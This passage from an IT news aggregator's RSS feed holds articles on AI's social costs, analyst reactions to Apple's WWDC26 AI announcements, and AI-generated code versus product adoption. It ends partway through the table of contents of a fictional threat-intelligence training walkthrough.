<p>Put those sensations alongside the sigh-inducing explosion of <a href="https://www.theverge.com/ai-artificial-intelligence/943187/ai-content-creators" target="_blank" rel="noreferrer noopener">AI “content creators,”</a> the proliferation of lifeless AI-generated “writing” (been on LinkedIn much lately?), and the troublingly blurry line between photorealistic AI-generated images and actual real-world photographs — not to mention the maddening experience of <a href="https://www.computerworld.com/article/4128266/ai-has-taken-over-customer-service-companies-will-regret-it.html">interacting with an AI bot support agent</a> or encountering the ever-expanding array of <a href="https://theintelligence.com/41724/how-ai-is-changing-cyber-risk-what-that-means-for-you/" target="_blank" rel="noreferrer noopener">AI-powered scams and security threats</a> and <a href="https://www.computerworld.com/article/4175956/the-ai-tech-job-slaughter-gets-real.html">AI-generated job cuts</a>, just to name a few other problematic consequences this movement is imposing — and it’s hard not to question if all this purported progress is ultimately more helpful or harmful for us, as living, breathing humans in the real world.</p>



<p>A few months ago, at the three-year mark of Gemini’s launch, I <a href="https://www.computerworld.com/article/4136922/google-gemini-3-years.html">posed the question</a>: Did anyone actually ask for this? And, more pressingly: Is <em>this </em>the future we wanted? As we’re moving now into yet another era of AI innovation and seeing how it’s affecting our lives, it gets tougher every day to imagine many folks outside of the tech industry who’d answer with an emphatic yes.</p>



<p>And, unfortunately, you don’t need any fancy-schmancy AI chatbots to tell you that things are only gonna get more extreme — and, yes, more creepy — from here.</p>



<p><em>Find the tips and tools that’ll *actually* help you with </em><a href="https://theintelligence.com/android-cw/" target="_blank" rel="noreferrer noopener"><em>my free Android Intelligence newsletter</em></a><em>. No hype, no nonsense — just useful new stuff in your inbox every Friday, from one (alleged) human to another.</em></p>
</div></div></div>
</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Apple’s AI plans show promise, but proof of success still to come — analysts]]></title>
<description><![CDATA[WWDC26 felt like a defining platform moment. Apple is no longer simply promising that AI will arrive eventually; it is arguing that Apple Intelligence and Siri AI should become central to the future of its ecosystem. If that works, the company will have turned AI from a perceived weakness into a ...]]></description>
<link>https://tsecurity.de/de/3585116/it-nachrichten/apples-ai-plans-show-promise-but-proof-of-success-still-to-come-analysts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3585116/it-nachrichten/apples-ai-plans-show-promise-but-proof-of-success-still-to-come-analysts/</guid>
<pubDate>Tue, 09 Jun 2026 18:17:40 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>WWDC26 felt like a <a href="https://www.computerworld.com/article/4182558/wwdc-did-apple-make-the-ai-grade-this-year.html">defining platform moment</a>. Apple is no longer simply promising that AI will arrive eventually; it is arguing that Apple Intelligence and Siri AI should become <a href="https://www.applemust.com/the-core-apple-tldr-wwdc-june-8/" target="_blank" rel="noreferrer noopener">central to the future of its ecosystem</a>. If that works, the company will have turned AI from a perceived weakness into a new reason to stay inside Apple’s world.</p>



<p>Still, the bigger question is execution. Apple did not present AI as a lab experiment; it presented a polished, consumer-ready experience. That raises expectations. </p>



<h2 class="wp-block-heading"><strong>Apple must deliver this time</strong></h2>



<p>Users will not judge Apple Intelligence by model architecture or parameter counts. They will judge it by whether Siri understands them, whether actions work reliably, whether personal context feels useful rather than intrusive, and whether the experience is consistent across devices. </p>



<p>Since Monday’s announcements, we’ve learned that some features will not work on all devices — and there’s speculation Siri AI may not fully escape beta until 2027. “Until Apple puts a stake in the ground and says when the new Siri features will be available, the debate remains: Does Apple actually have the chops in personalized AI? The demo suggests yes. The lack of timing suggests maybe,” <a href="https://genemunster.com/siri-ai-demo-was-impressive-but-timing-keeps-the-ai-chops-debate-open/" target="_blank" rel="noreferrer noopener">wrote analyst Gene Munster</a>.</p>



<p>Optimists argue that Apple has regained momentum by presenting a coherent AI story, one built around privacy, integration and everyday utility rather than spectacle. Skeptics counter that many of the features resemble capabilities already available elsewhere, and say the company still needs to prove it can ship them at scale and make them a meaningful reason for consumers to upgrade.</p>



<h2 class="wp-block-heading"><strong>What the analysts say</strong></h2>



<p>That balance is visible in analyst reaction. In a client note seen by <em>Computerworld</em>, Erik Woodring of Morgan Stanley described the keynote as clear progress on Apple’s AI roadmap and said it suggested monetization opportunities could arrive earlier than expected — even if the overall journey will be “a marathon, not a sprint.”</p>



<p>UBS, in contrast, said the privacy-focused AI additions are useful but unlikely to be a material driver of iPhone demand in the near term, while Barclays called the changes interesting but incremental, and not enough to drive an upgrade cycle.</p>



<p>Ben Wood, chief analyst at CCS Insight, argued that Apple had to answer concerns about its AI shortcomings and now has to prove that its privacy-led, integration-first approach translates into a meaningfully better everyday experience. “Consumers will not judge Apple Intelligence by model sizes, partnerships or technical architecture,” Wood told me. “They will judge it by whether Siri understands them, whether actions work, whether personal context feels useful rather than intrusive, and whether the experience is consistent across devices.”</p>



<p>Dipanjan Chatterjee, vice president principal analyst at Forrester, said Apple’s strength lies in shifting the focus from the underlying technology to outcomes such as usefulness, simplicity and trust, while warning that the company still has skeptics to win over after its stop-start AI rollout. “The lesson for brands is clear: market the value, not the ingredients,” said Chatterjee. “After stumbling with the Apple Intelligence roll-out, Apple’s success will hinge on delivering the new Siri experience quickly, and ensuring it works as promised for iPhone users at scale.”</p>



<h2 class="wp-block-heading"><strong>What about Apple developers?</strong></h2>



<p>While many are infuriated about Europe’s <a href="https://www.applemust.com/eu-regulators-just-killed-europes-ios-developer-industry/" target="_blank" rel="noreferrer noopener">inability to build compromise</a>, Apple’s developer army otherwise seems positive about what the company has accomplished. </p>



<p>“On the AI front, it never made sense to me for Apple to develop their own LLM, so focusing on powerful, fast and private for implementation of Apple Intelligence seems to be an effort that is progressing rather nicely.  In all, a pretty good Keynote, I’d say,” Rich Siegel, founder and CEO of Bare Bones Software, said in an interview.</p>



<p>“It’s great to see Apple continue to pursue a vision of AI that leverages local systems, preserves privacy, and integrates with third party tools,” said Ken Case, CEO of the Omni Group. “A lot of our work around the Apple Foundation Models and automation, App Intents, and adopting Swift look to be fruitful investments, but it’s clear there’s more to do starting this summer. It’s also welcome to see them refine Liquid Glass, giving customers more control and listening to feedback they’ve heard over the past year.”</p>



<p>“I expected that this year’s Siri revamp would be the biggest personal assistant update Apple has ever done, and that’s exactly what we got,” said Sergii Kryvoblotskyi, director of AI and research at MacPaw. “Since Apple acquired Siri back in 2010, it has lacked one thing: real intelligence. Behind the great speech recognition service it provided, the tech was not ready to provide real value to users.”</p>



<p>“Most notable for me was Siri AI and the push towards on-device and more capable models that can do more with user context,” Matt Vlasach, Jamf senior vice president, enterprise products and solutions engineering,” said in an interview. “While obvious for consumer use cases, as illustrated in the keynote, the opportunity to evolve this to the work context using a more advanced Apple Intelligence framework is an exciting evolution.”</p>



<p>“OS 27 feels like a deliberate reset, less about new features and more about polish and quality-of-life improvements, which most users will welcome,” said John Richards, general manager, IT products, at Iru. “The new capabilities are focused entirely on Apple Intelligence and Siri AI, and what’s encouraging is how much Apple leaned into privacy with the Gemini partnership. That combination of capability and privacy-first design is the right instinct.”</p>



<p>“The single biggest request I made at Apple’s Foundation Models workshop in Madrid was opening Private Cloud Compute to third-party developers,” said Serhii Popov, senior software Eengineer at CleanMyMac. “It’s here and free for apps under 2 million users. That’s a real breakthrough and a huge opportunity for a lot of great apps.”</p>



<h2 class="wp-block-heading"><strong>How will integrated AI change things?</strong></h2>



<p>Joel Rennich, senior vice president for product management at JumpCloud, looked ay how on-device AI will transform other paradigms. For starters, it shifts identity from simple authentication to governing what actions an AI agent is allowed to take.v“Enterprises will need identity frameworks that govern both human and non-human actors consistently,” he said.</p>



<p>“iOS 27 and Apple Intelligence point toward an operating system that does not just launch apps, it executes intent,” Rennich said. “Instead of users navigating between tools, the OS increasingly mediates outcomes directly through AI. This changes how work is initiated and completed on devices.</p>



<p>“With Apple Intelligence integrated across core experiences like Siri, Safari, and system services, AI is no longer an overlay but infrastructure. The separation between where data lives and where it is used becomes increasingly invisible to the user. Intent becomes the primary input, not app selection.”</p>



<p>I also spoke with Hexnode CEO Apu Pavithran, who pointed to some of the concerns enterprise users might have following WWDC: “The keynote didn’t speak much to admins,” he said. “The features that matter most at the management layer, such as how Apple exposes Siri AI through MDM APIs, whether IT gets granular per-app controls for Apple Intelligence, how shared device deployments handle the new assistant — these will be answered in the developer documentation. This week, that’s where IT teams should be looking.”</p>



<p>“Admins should dig in immediately and see what’s changed. Watch the developer docs, audit how Apple Intelligence interacts with existing device policies, and remember that the keynote is only a part of the story for enterprises,” he said.</p>



<h2 class="wp-block-heading"><strong>Making AI great again</strong></h2>



<p>“Rebuilt from the ground up, Apple is trying to make AI feel native, useful and invisible across the devices people already use every day,” Francisco Jeronimo, vice president for client devices at IDC, said in an interview. “This matters, because the winning AI experience for consumers will not be the loudest or most technically complex. It will be the one that understands context, respects privacy, works reliably across apps, and reduces friction without forcing users to change behavior.”</p>



<p>“[Apple] is also clearly seeking to differentiate through its privacy promises,” said CCS Insight’s Wood. “This looks like a step in the right direction, but there is no room for complacency, and Apple still has a long AI journey ahead.”<br><br>Pavithran reflected on something more. “Overall, it’s hard not to think of this year as a deliberately measured keynote, one that’s intentionally playing it safe and seeking to rewrite the AI narrative,” he said. “I won’t be surprised if this ends up setting the stage for a much bigger installment next year with incoming CEO John Ternus hitting the ground running with some ‘wow’ features like new hardware or agentic AI at scale.”</p>



<p>That we can now seriously consider that possibility shows the extent to which Apple has regained momentum in AI on its platforms.</p>



<p><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[WWDC: Did Apple make the AI grade this year?]]></title>
<description><![CDATA[There were several key components to emerge from Apple’s developer conference Monday as the company sought to reassure users (and investors) that it has met the existential challenge represented by AI. Aside from a serious focus on Siri AI and embedded Apple Intelligence across its varied platfor...]]></description>
<link>https://tsecurity.de/de/3582943/it-nachrichten/wwdc-did-apple-make-the-ai-grade-this-year/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3582943/it-nachrichten/wwdc-did-apple-make-the-ai-grade-this-year/</guid>
<pubDate>Mon, 08 Jun 2026 23:17:21 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>There were several key components to emerge from Apple’s developer conference Monday as the company sought to reassure users (and investors) that it has met the existential challenge represented by AI. Aside from a serious focus on Siri AI and embedded Apple Intelligence across its varied platforms, officials also hailed a slew of performance/usability tweaks, described new child safety tools, gave macOS 27 a real name, “Golden Gate” — and offered a standing ovation in farewell to outgoing CEO Tim Cook.</p>



<p>Before the Worldwide Developer Conference (WWDC), analysts <a href="https://www.computerworld.com/article/4182387/wwdc-apples-ai-moment-of-truth-arrives.html">seemed optimistic about the company’s plans</a>, most of which had already leaked. Analysts didn’t expect Apple to announce anything that would transform the AI industry (it didn’t), but they did hope the company would introduce tools to keep it competitive with rivals (it did). That’s assuming all the demos at the event were live, actual feature demos, rather than faked set-ups as seen before.</p>



<h2 class="wp-block-heading"><strong>Hard, hard work</strong></h2>



<p>Apple’s teams have evidently worked incredibly hard to come this far, and execs did introduce truly impressive new AI features focused on what customers and developers actually need. The company also played to its strengths, particularly around vision intelligence; private-by-design (large language models) LLMs; highly useful contextual awareness; and Siri AI, which works as an app and lets you carry on conversational quests securely across all your Apple devices. </p>



<p>As anticipated, Apple also introduced APIs developers will be able to use to provide new AI features in their apps.</p>



<p>Among the many individual tools most of us can expect to use this fall, are:</p>



<ul class="wp-block-list">
<li>Siri AI, which can help users search for information across their messages, emails, photos, and more; answer questions about virtually any topic; and take action in apps. </li>



<li>Apple Passwords, which now automatically fix weak and compromised passwords with agentic AI.</li>



<li>Spatial reframing, which lets users recompose a photo after it’s been taken by dragging to shift perspective, as if repositioning the camera in the original scene.</li>



<li>A new Extend Tool, which expands the edges of an image to add breathing room, fix a crooked horizon, or change aspect ratio without losing the original subject.</li>



<li>A Notify Me tool that monitors web pages for changes such as price drops or restocks and sends a notification when something changes.</li>



<li>Photorealistic image generation, which supports the creation of high-quality photo-realistic images via a new generative model running on Private Cloud Compute.</li>



<li>One-tap contextual suggestions in Messages, which surface actions such as creating reminders and notes, or finding relevant photos based on conversation context.</li>



<li>And Describe a Shortcut, which means users can describe an automation they want in plain language and Shortcuts assembles the required steps automatically.</li>
</ul>



<h2 class="wp-block-heading"><strong>All about you, not AI</strong><strong></strong></h2>



<p>Apple did not seek to introduce AI features for their own sake; instead, it remains deeply focused on how to make its devices more useful to customers. As Craig Federighi, Apple’s senior vice president of software engineering, said: </p>



<p>“Truly helpful AI must be centered on our users’ needs, deeply integrated into the products they rely on every day, grounded in personal context, and built with privacy at every step. That is our vision for Apple Intelligence. With useful features for browsing the web, expressing creativity, editing photos, and so much more, today marks a big step forward on our journey to integrate powerful AI into the core of our platforms and make our products even more personal and useful.”</p>



<h2 class="wp-block-heading"><strong>Apple is not Gemini</strong></h2>



<p>Apple confirmed that it worked with Google Gemini to create some of the AI models highlighted today. This led some <a href="https://www.heygotrade.com/en/blog/apple-google-gemini-deal-aapl-googl-stock/" target="_blank" rel="noreferrer noopener">analysts before the event to say</a>: “For Apple, the bull case is that a working Siri reframes it as an AI winner; the bear case is that paying a rival for core intelligence caps the premium investors assign to the stock.”</p>



<p>Perhaps they need not worry, as what we now seem to have is a far more solid base from which to continue to develop AI services and tools that compete against others in the space. Not only that, but Apple is not using rebranded Gemini — it simply worked with Google to build its own models, <a href="https://x.com/benbajarin/status/2064065037556490673?s=61" target="_blank" rel="noreferrer noopener">as Federighi insisted</a>. In <a href="https://x.com/BenBajarin/status/2064063020297588843?s=20" target="_blank" rel="noreferrer noopener">meetings at the show</a>, Apple explained the full extent of the work it did with Google, stressing that none of the new features should be considered white label versions of Google’s LLMs. </p>



<p>(Even Apple’s new search tools are based on its own search database, rather than anybody else’s. And when advanced searches are shared with Google-hosted Nvidia processors, Apple puts privacy protection in place.)</p>



<p>In the end, the most important consideration — for customers and developers — is that Apple seems to have succeeded in bringing dozens and dozens of powerful new on-device AI tools to its customers, giving it a firmer, more impressive peer position in the business. (It’s also true that investors were disappointed that the new AI features <a href="https://www.applemust.com/eu-regulators-just-killed-europes-ios-developer-industry/" target="_blank" rel="noreferrer noopener">won’t be made available in Europe or China due to regulatory challenges</a>, putting developers in both nations at a disadvantage.) Developers elsewhere will be able to explore Apple’s Foundation Models and its new Core AI APIs to their heart’s content. </p>



<h2 class="wp-block-heading"><strong>First reactions to Apple’s news</strong></h2>



<p>While Apple’s stock value dipped as investors sold on the news and invested into the speculation, I do think Apple successfully turned this corner — though it will need to continue to invest heavily in AI across its platforms. The work is far from over.</p>



<p>“It is great to see Apple continue to pursue a vision of AI that leverages local systems, preserves privacy, and integrates with third party tools,” Ken Case, CEO of the Omni Group, told me. “A lot of our work around the Apple Foundation Models and automation, App Intents, and adopting Swift look to be fruitful investments, but it’s clear there’s more to do starting this summer.”</p>



<p>Creative Strategies President and Principal Analyst Carolina Milanesi <a href="https://x.com/BloombergTV/status/2064055984658567466?s=20" target="_blank" rel="noreferrer noopener">explained why it matters Apple is deploying these capabilities across its ecosystem</a>, as it gives the company a unique market position. “Where Apple Intelligence is today is different than what Claude or ChatGPT are because is it really embedded in the devices, and we need to remember that Apple sells devices,” she said.</p>



<p>Apple did also note that the new Siri AI will be available in beta this year. “Investors wanted it in September. That means the real version is likely early to mid 2027,” <a href="https://x.com/munster_gene/status/2064048017796190571?s=20" target="_blank" rel="noreferrer noopener">said Gene Munster</a> at Deepwater Asset Management. “Funny that the stock actually ticked up 0.5% on the “beta later this year” update given [that] while it’s later than what they wanted, it is at least a date that investors can focus on.”</p>



<p>It is also true that what Apple did achieve this year at WWDC is to offer up a set of new AI features that investors already see as having significant value.</p>



<p><em>You can follow me on social media! Join me on <a href="https://bsky.app/profile/jonnyevanssays.bsky.social" target="_blank" rel="noreferrer noopener">BlueSky</a>,  <a href="http://www.linkedin.com/in/jonnyevans" target="_blank" rel="noreferrer noopener">LinkedIn</a>, <a href="https://social.vivaldi.net/@jonnyevans" target="_blank" rel="noreferrer noopener">Mastodon</a> and <a href="https://thecorenews.substack.com/p/welcome-to-the-core?r=5l3lg">The Core</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Making sense of too much code]]></title>
<description><![CDATA[Anyone can build an app now. But nobody seems to care.



Well, not nobody. VCs keep funding startups that add AI to, well, everything. But users aren’t buying the massive influx of new apps. In a chart shared by Jen Zhu Scott based on the new National Bureau of Economic Research’s working paper ...]]></description>
<link>https://tsecurity.de/de/3580892/ai-nachrichten/making-sense-of-too-much-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580892/ai-nachrichten/making-sense-of-too-much-code/</guid>
<pubDate>Mon, 08 Jun 2026 11:03:49 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Anyone can build an app now. But nobody seems to care.</p>



<p>Well, not <em>nobody</em>. VCs keep funding startups that add AI to, well, everything. But users aren’t buying the massive influx of new apps. In a chart <a href="https://x.com/jenzhuscott/status/2063032701087883647">shared by Jen Zhu Scott</a> based on the new National Bureau of Economic Research’s working paper “<a href="https://www.nber.org/papers/w35275">Writing Code vs. Shipping Code</a>,” iOS app releases have exploded since the advent of agentic AI. That would perhaps be cause for celebration had app reviews not declined during this same period, and apps with significant usage have stayed essentially flat.</p>



<p>In other words, more apps but almost nobody new showing up to use them.</p>



<p>For those of us that grew up in <a href="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html" data-type="link" data-id="https://www.infoworld.com/article/2262355/what-is-open-source-software-open-source-and-foss-explained.html">open source</a>, it’s a familiar problem. The greater the abundance of code, the greater the need to help would-be customers navigate it through marketing (including branding), sales, etc. AI is creating so much noise, in terms of new code, new products, etc., that the real work has shifted to taste-making.</p>



<h2 class="wp-block-heading"><a></a>Getting more but not using more</h2>



<p>I’ve been <a href="https://www.infoworld.com/article/4125409/ai-will-not-save-developer-productivity.html">saying for a while</a> that developer productivity isn’t about producing more code faster. Or at least it shouldn’t be. Productivity is about producing well-architected, secure, maintainable code that solves a problem someone actually has.</p>



<p>That’s a very different thing. It’s not something AI can fix; at least, not yet.</p>



<p>Charity Majors put it more bluntly in a post <a href="https://www.infoworld.com/article/3509197/junior-developers-and-ai.html">I wrote in 2024</a>: “Writing code is the easiest part of software engineering,” she said. The harder parts are figuring out what to build, integrating it into a larger system, validating that it works, maintaining it over time, and getting humans to trust it enough to use it.</p>



<p>Turns out the harder parts are really hard. <a href="https://www.nber.org/papers/w35275">Mert Demirer, Leon Musolff, and Liyuan Yang</a> tracked more than 100,000 GitHub developers alongside their AI usage telemetry. Autocomplete, interactive agents, and autonomous agents each ramped raw coding activity, with cumulative effects on commits of 40%, 140%, and 180%. That sounds great until you look how the gains attenuate the closer you get to actual users. For example, that 180% jump in commits became roughly 50% more projects and just 30% more actual releases. The report’s authors call this the weak-link problem: The strong link (writing code) got much stronger, while the weak links (everything else humans have to do) didn’t. The estimated elasticity of substitution between AI and human effort is 0.25, which is economist for “these complement each other, but they don’t replace each other.”</p>



<p>When the authors checked four major app marketplaces, they found a bump in new apps but no increase in total usage. In other words, we’re getting better at creating things with AI’s help; apparently we’re not good at turning that into user interest. User attention (and budget) is finite. The hard part is to figure out how to get users to care enough to pay (with their time or their money).</p>



<h2 class="wp-block-heading"><a></a>Learning to love marketing</h2>



<p>So what’s actually scarce in a world of near-infinite software? Not code, for sure. No, what’s scarce is attention, trust, and a reason to switch.</p>



<p>That means the durable advantages in software increasingly live in the parts of the business developers often undervalue, like a recognizable brand (something that Red Hat figured out early on in open source) or a channel they already use. Or it could be in areas that developers appreciate but don’t pay for, like good documentation or a welcoming community.</p>



<p>This isn’t a new idea; it’s just newly unavoidable. We’re watching something similar inside enterprises, where <a href="https://www.infoworld.com/article/4151572/the-starkly-uneven-reality-of-enterprise-ai-adoption.html">AI adoption is</a><a href="https://www.infoworld.com/article/4151572/the-starkly-uneven-reality-of-enterprise-ai-adoption.html"> </a>wildly uneven, not because the technology has no value, but because the organizational plumbing around it often hasn’t been built. This is why a new kind of speed is important. I once<a href="https://www.infoworld.com/article/3611644/speed-is-the-killer-app.html"> argued that speed was the killer app</a>, and that was mostly true. Today the more interesting speed is how quickly you can earn trust, fit into a workflow, answer objections, and get adopted.</p>



<p>Years ago I wrote that<a href="https://www.techrepublic.com/article/rethinkdb-is-dead-and-mongodb-isnt-what-killed-it/"> RethinkDB was dead and MongoDB wasn’t what killed it</a>. RethinkDB was at the time, by many technical measures, a better database, built around “correctness, simplicity, and consistency.” It still lost—and badly. <a href="https://gist.github.com/ramalho/93b87e961b6e019be8e1f6f82864b6f9">Its founder’s own postmortem</a> was unsparing: They had picked a brutal market and tuned the product to the wrong definition of good. Being technically right turned out to have almost nothing to do with getting adopted.</p>



<p>With AI we’re generating a thousand smaller “RethinkDBs,” only faster and with nicer landing pages generated by the same model that wrote the code. These aren’t going to win, any more than RethinkDB was able to unseat MongoDB. It’s not just about the tech, but rather about making that tech fit within a user’s or enterprise’s world and making it easy to adopt. AI makes this harder, not easier.</p>



<p>It’s a cliché that developers don’t like marketing. It’s also false in my inexperience. What developers don’t like is traditional marketing. During my time at MongoDB and now at Oracle, my developer relations teams have focused on offering developers deep, hands-on enablement, and the response has been fantastic. Is a technical tutorial marketing? Of course it is. So is a forward-deployed engineer working side by side with an enterprise’s engineers to help them effectively use your tech. Just because it’s not a 30-second Super Bowl ad doesn’t mean it’s not marketing.</p>



<p>Years ago the Dilbert cartoon <a href="https://x.com/mjasay/status/545616694249410560">captured developers’ disdain for marketing</a>. It was funny then, and it’s funny now, but it has never been true.</p>



<p>Years ago Matt Klein, creator of the open source Envoy project, once <a href="https://www.infoworld.com/article/2260935/are-you-sure-you-want-to-open-source-that-project.html">talked me through all the non-development work</a> that goes into making an open source project thrive. As he reflected, “If you look at what I did in 2016 and early 2017 to [introduce] and grow the project, it was not technical.” So what was it, if not core engineering? “It was all leadership, public relations, marketing, documentation, etc., and I did it all myself and I nearly killed myself [doing it].” As he summed it up for me, it was a “f—ing lot of work,” and much (most?) of it wasn’t about code. It was about helping users appreciate the value of that code.</p>



<p>TL;DR? The boring but essential go-to-market grind has always been the real job. It’s what will separate winners from losers in AI.</p>



<h2 class="wp-block-heading"><a></a>The boring work wins</h2>



<p>None of this is an argument against AI coding tools. Developers should absolutely use them. I use them constantly.</p>



<p>But AI can’t compensate for the hard work that goes into making a product successful in the market. In a world drowning in AI-generated sameness, taste becomes a competitive advantage. For me, “taste” translates into knowing what not to build, or what not to publish. It’s also all about knowing how to market one’s product, which might include ads but definitely needs to incorporate technical training that helps developers make sense of your code.</p>



<p>In short, there’s no <em>Field of Dreams</em> “build it and they will come.” There’s just a lot of hard, human work to help real people find and use your code.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CTI as a Code in Practice: Reactive Investigation — LifeTech Pharma]]></title>
<description><![CDATA[A complete walkthrough of the methodology applied to a real training scenario: pharmaceutical IP theft, dual entry points, and a DCSync that changes everything.All organizations, names, and data are fictional. This is training assignment A01 from the CTI as a Code repository.Based on the methodol...]]></description>
<link>https://tsecurity.de/de/3580443/hacking/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580443/hacking/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma/</guid>
<pubDate>Mon, 08 Jun 2026 06:38:21 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4><strong>A complete walkthrough of the methodology applied to a real training scenario: pharmaceutical IP theft, dual entry points, and a DCSync that changes everything.</strong></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*l8B3xIJssFbBTn0IvOu6Ng.png"></figure><p><em>All organizations, names, and data are fictional. This is training assignment A01 from the CTI as a Code repository.</em></p><h3>Based on the methodology: “CTI as a Code”</h3><p><a href="https://medium.com/@1200km/cti-as-a-code-complete-step-by-step-methodology-dda5ef496a46">CTI as a Code: Complete Step-by-Step Methodology</a></p><h3>Contents</h3><ol><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#276c"><strong>The Scenario</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#8c81"><strong>Step 00: Clone, Initialize, and Fill the Template</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#cd59"><strong>Step 0: Intake — What the First Call Captures</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#999a"><strong>Step 1–2: Project Setup and Scope</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#7b9a"><strong>Step R1: Evidence Inventory — What Exists and What Is Missing</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#a778"><strong>Step R1.5: Hands-On Evidence Analysis — VS Code Investigation</strong></a><strong><br></strong><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#966d">1. CrowdStrike Alert — JSON in VS Code</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#2702">2. Decode the PowerShell Payload</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#2db4">3. M365 Message Trace — Rainbow CSV</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#13b3">4. Azure AD Sign-In Analysis</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#6238">5. VPN Log Analysis</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#b73e">6. NGFW Log Analysis — Rainbow CSV</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#a734">7. SQL Audit Log Analysis</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#ecca">8. Windows Security Event Log Analysis</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#13de">9. Cross-File Pivot — VS Code Global Search</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#9a59">10. IOC Enrichment — REST Client</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#0bd0">11. Sandbox Analysis — Submit the Binary</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#da15">12. Static Binary Analysis — Hex Editor + Terminal</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#97f1">13. Infrastructure Pivot — REST Client + Global Search</a><br><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#c0c4">14. Splunk Correlation (SIEM Validation)</a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#5829"><strong>Step R2: Timeline — Two Paths, One Actor</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#06d0"><strong>Step R3: Claims Ledger — Every Assertion Traced to Evidence</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#bc78"><strong>Step R4: ATT&amp;CK Mapping — Where Detection Failed</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#7d71"><strong>Step R5: Attribution Assessment — Same Actor or Two?</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#b2e8"><strong>Step R6: Detection Rules — Four That Would Have Changed the Outcome</strong></a></li><li><a href="https://infosecwriteups.com/cti-as-a-code-in-practice-reactive-investigation-lifetech-pharma-3e6574b7b85f#d8bd"><strong>Step R7: Deliverables — What Each Stakeholder 